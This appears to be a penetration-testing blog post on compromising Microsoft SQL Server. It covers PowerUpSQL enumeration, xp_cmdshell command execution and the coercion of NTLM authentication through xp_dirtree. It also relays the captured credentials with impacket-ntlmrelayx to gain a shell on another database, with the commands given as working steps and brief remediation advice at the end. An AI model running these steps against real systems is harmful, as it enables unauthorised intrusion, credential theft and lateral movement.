# Compromising MSSQL Databases by Relaying

# Introduction

Database security must be guaranteed in the connected digital world of today. Many firms choose Microsoft SQL Server (MSSQL) because of its strong feature set and integration capabilities. But enhanced functionality also means a larger surface area for attacks, which makes it a desirable target for (ethical) hackers. Even though there are multiple attacks targeting MSSQL databases, relaying is one of the most effective ones. They are indeed a particularly sneaky way to compromise MSSQL servers.

We'll explore the nuances of relaying attacks on MSSQL servers in this blog post. We'll investigate the workings of these attacks, and show how they might affect the systems they are aimed against. We'll also touch on the defensive side of the things with some remediation ideas.

I have already made a video about this topic, so if you prefer watching instead of reading, feel welcomed and if you enjoy my work, feel free to subscribe:

Additionally, if you have further appreciation to my work, don't hesitate to become my Patreon. By doing so, you support my work while accessing custom maldev tools that I am sure you can find handy.

# What is MSSQL?

MSSQL, or Microsoft SQL Server, is a relational database management system (RDBMS) developed by Microsoft. It is designed to store and manage large amounts of data efficiently. MSSQL uses Structured Query Language (SQL), which is the standard language for managing and manipulating databases.

Think of MSSQL as a sophisticated filing system that not only keeps your data safe but also allows you to quickly retrieve and manipulate this data through queries. This database management system supports a variety of data types, including integers, text, and even more complex data structures like XML and JSON.

One of the primary reasons for the adoption of MSSQL by companies is its robust performance and reliability. MSSQL is designed to handle large volumes of data efficiently, making it an ideal choice for enterprises that require high-performance databases to manage their critical applications and services.

The integration of MSSQL with Active Directory (AD) provides a seamless and secure authentication mechanism, which is crucial for maintaining the integrity and security of data. By leveraging AD, companies can manage user access and permissions centrally, ensuring that only authorized personnel have access to sensitive information. This integration simplifies user management and enhances security by using existing AD credentials, reducing the need for multiple login credentials and streamlining the authentication process.

MSSQL Chart
MSSQL Chart

# Why MSSQL Databases are nice targets?

From an attacker's perspective, MSSQL databases are extremely good targets, mainly because of:

  1. They store sensitive data
  2. Their stored procedures

The first option is obvious, it is a database, if we obtain some kind of access to it, we can try to read out the tables into finding credentials or other sensitive data which can help us escalate over the domain.

The second option is more interesting, even though MSSQL databases are relation-based engines like MySQL and Oracle , they differ a lot. One of the main difference is their stored procedures.

# What is a stored procedure

Stored procedures in MSSQL databases are precompiled collections of one or more SQL statements that are saved under a name and processed as a unit. They play a critical role in database management and are utilized to perform a variety of tasks, from data manipulation and validation to administrative tasks.

A stored procedure is written in Transact-SQL (T-SQL), which is Microsoft's and Sybase's proprietary extension of SQL. When a stored procedure is created, it is compiled and stored in the database catalog.

Stored procedure can be manually created for ease of work, but there are predefined ones which are super interesting for us.

In Microsoft SQL Server, stored procedures that start with xp_ are known as extended stored procedures. These procedures are special because they provide an interface between SQL Server and external components or operating system services. Here are some similar stored procedures that start with xp_, along with brief explanations of their purposes:

# 1. xp_fixeddrives

  • Purpose: Returns information about the disk drives on the server.
  • Example: EXEC xp_fixeddrives;

# 2. xp_regread and xp_regwrite

  • Purpose: Read from and write to the Windows registry from within SQL Server.
  • Examples:
    • EXEC xp_regread 'HKEY_LOCAL_MACHINE', 'SOFTWARE\MyApp', 'Version';
    • EXEC xp_regwrite 'HKEY_LOCAL_MACHINE', 'SOFTWARE\MyApp', 'Version', '1.0';

# 3. xp_fileexist and xp_filesize

  • Purpose: Checks if a file exists and returns its size, respectively.
  • Examples:
    • EXEC xp_fileexist 'C:\MyFile.txt';
    • EXEC xp_filesize 'C:\MyFile.txt';

# 4. xp_dirtree

  • Purpose: Generates a hierarchical listing of files and directories within a specified directory on the file system
  • Example: EXEC xp_dirtree 'C:\MyDirectory\', 1;

# 5. xp_cmdshell

  • Purpose: Executes operating system commands from within SQL Server.
  • Example: EXEC xp_cmdshell 'dir C:\';

As you might already start to get it, some of the predefined stored procedures can be abused into offense.

# Enumerating MSSQL Databases

Before diving into the attacks, let's first demonstrate how to obtain a valid list of targets. For this demo we will use the well-known PowerUpSQL. While this toolkit can be used not only for enumeration, we will not completely depend on it for this blogpost.

It is a powershell script, after loading it either from import-module or reflectively via iex, we can now utilize its functions. One such function is Get-SQLInstanceDomain and Get-SQLInstanceLocal. As their names are speaking, these functions are querying either the Active Directory or the local system for finding database engines.

Get-SQLInstanceDomain output
Get-SQLInstanceDomain output
If you want to select only the ComputerName field, you can use the powershell utility select: Get-SQLInstanceDomain | select ComputerName

Also, it is always advised to run the Invoke-SQLAudit against the enumerated instances for each user you compromise. You never know when you will hit the jackpot.

For more PowerUpSQL functions, you can refer to this cheatsheet.

# Attacking MSSQL Databases

For these demos, we will operate from a standpoint of compromised user. We will not cover the user attack itself, but let's imagine for a second it was due to password spray attack. The main idea of this blog is to show some of the basic attacks over MSSQL servers, without a valid credentials, what we can do is brute-forcing and credentials snuffing.

# Attack 1 - XP_CMDSHELL

While this attack is simple and well known, I still felt the need to include it here. In order for this attack to work, we would need to have this procedure already enabled on the targeted system, or else, we would need to have sysadmin privileges over it so we can enable it. Here it is important to mention that users that have the sysadmin privileges might be on both the domain and the local level, for instance, the sa account is the default, main and most privileged account. On top of that, since the MSSQLs can be easily integrated with AD, it is also possible to find domain users who might have the same level of privileges, so think more open here.

As mentioned, for this scenario we compromised a user which has a sysadmin level privileges over the database. When that's the case, it is simply enough to:

  1. Connect to the database

The DB Connection can be done from many different softwares, for example the SSMS is utility from Microsoft, that is capable of full database management and operation. Alternatively, if operating from linux, impacket got us covered. The impacket-mssqlclient is nice script that is capable of performing pass the hash while having all functionalities that we need. So in order to connect:

impacket-mssqlclient 'DOMAIN/user'@<IP OR FQDN>

Connecting to MSSQL instance on 172.16.16.54
Connecting to MSSQL instance on 172.16.16.54

  1. Execute commands

enable_xp_cmdshell

xp_cmdshell whoami

Executing system level commands via xp_cmdshell stored procedure
Executing system level commands via xp_cmdshell stored procedure

In this case, the database is running as nt authority\local service. Always check the user behind the MSSQL process, as you later will find how handy this can be. However, in this case, we are effectively NT AUTHORITY\SYSTEM since the service accounts has dangerous local privileges which can be abused with for example potato attacks. If you want to learn more about this hit me up in Discord, so I can blog about this topic.

# Attack 2 - Relaying

Here is where it is getting more interesting. Imagine for this demo that we have compromised a user who is not sysadmin over any database, and the xp_cmdshell stored procedure is disabled, as well as the sp_start_job. Obviously one thing that we can do is to scrape the database for sensitive content, but is there any other attack vector? Yes!

As previously explained, the xp_dirtree stored procedure is used to read local or remote files over SMB. This procedure is handy when it comes to easy database migration, but can cause some issues. Since the xp_dirtree is used for remote SMB operations, by setting up responder with responder -I <interface> we can grap the NTLMv2 hash of the machine account. To trigger authentication, it is enough to just do xp_dirtree \\ip\share\something from impacket-mssqlclient shell. Usually, the database server is running as NT AUTHORITY \ SERVICE user. This will cause the NTLMv2 hash of the machine account to be captured.

However, sometimes the database service can be misconfigured to operate from the context of privileged domain account. This setting is located at SQL SERVER CONFIGURATION MANAGER -> DB Instance -> Log On

Database running as LSEC\sql1
Database running as LSEC\sql1

Now you may ask, well how to enumerate that if we dont have local access to the sever?

Coerce! If the database is misconfigured, after successful authentication capture we would get the NTLMv2 of the domain user rather than the machine account.

Capturing NTLMv2 hash of sql1 user
Capturing NTLMv2 hash of sql1 user

When that is the case, even though we don't know the password of this user (even though we might try to crack it), we can try to relay the incoming authentication against other services / servers. Since now the captured account name nudges that he might have admin rights over some databases, I guess it makes most sense to relay it over all DB instances.

Now let's setup the ntlmrelayx:

impacket-ntlmrelayx -t mssql://172.16.16.52 -smb2support -ts -debug -i

Here, the -i flag is super important. This flag will start fully functional mssqlclient shell against the target, if the authentication succeded. If this flag is missing, ntlmrelayx will try to execute SQL queries instead.

To exploit, it is enough to trigger xp_dirtree again

xp_dirtree \\172.16.16.130\share\asd

Relaying the credentials of LSEC\sql1 user against another database
Relaying the credentials of LSEC\sql1 user against another database

After the relaying is successful, ntlmrelayx tells us that there is interactive MSSQL shell on 127.0.0.1:11000. Let's connect with nc:

nc 127.0.0.1 11000

Connecting to the interactive MSSQL shell with nc
Connecting to the interactive MSSQL shell with nc

With this fully functional shell, we can no retry all the attack paths but now from the context of our privileged user.

Executing xp_cmdshell
Executing xp_cmdshell

# Conclusion

MSSQL servers are handy, but they must be taken with care. A slight misconfiguration might allow lateral movement and persistence on multiple servers, or in the worst-case scenario, even domain takeover.

From the defensive side of things, it is advised to ensure that the database servers are operating under the context of local service user. No xp_cmdshell is enabled, no user beside the sa and the DA can reconfigure the stored procedure, and also, remember to shut down xp_dirtree unless it is explicitly needed.

Thank you for the reading, if this blog-post was useful, you can support my work by becomming my Patreon.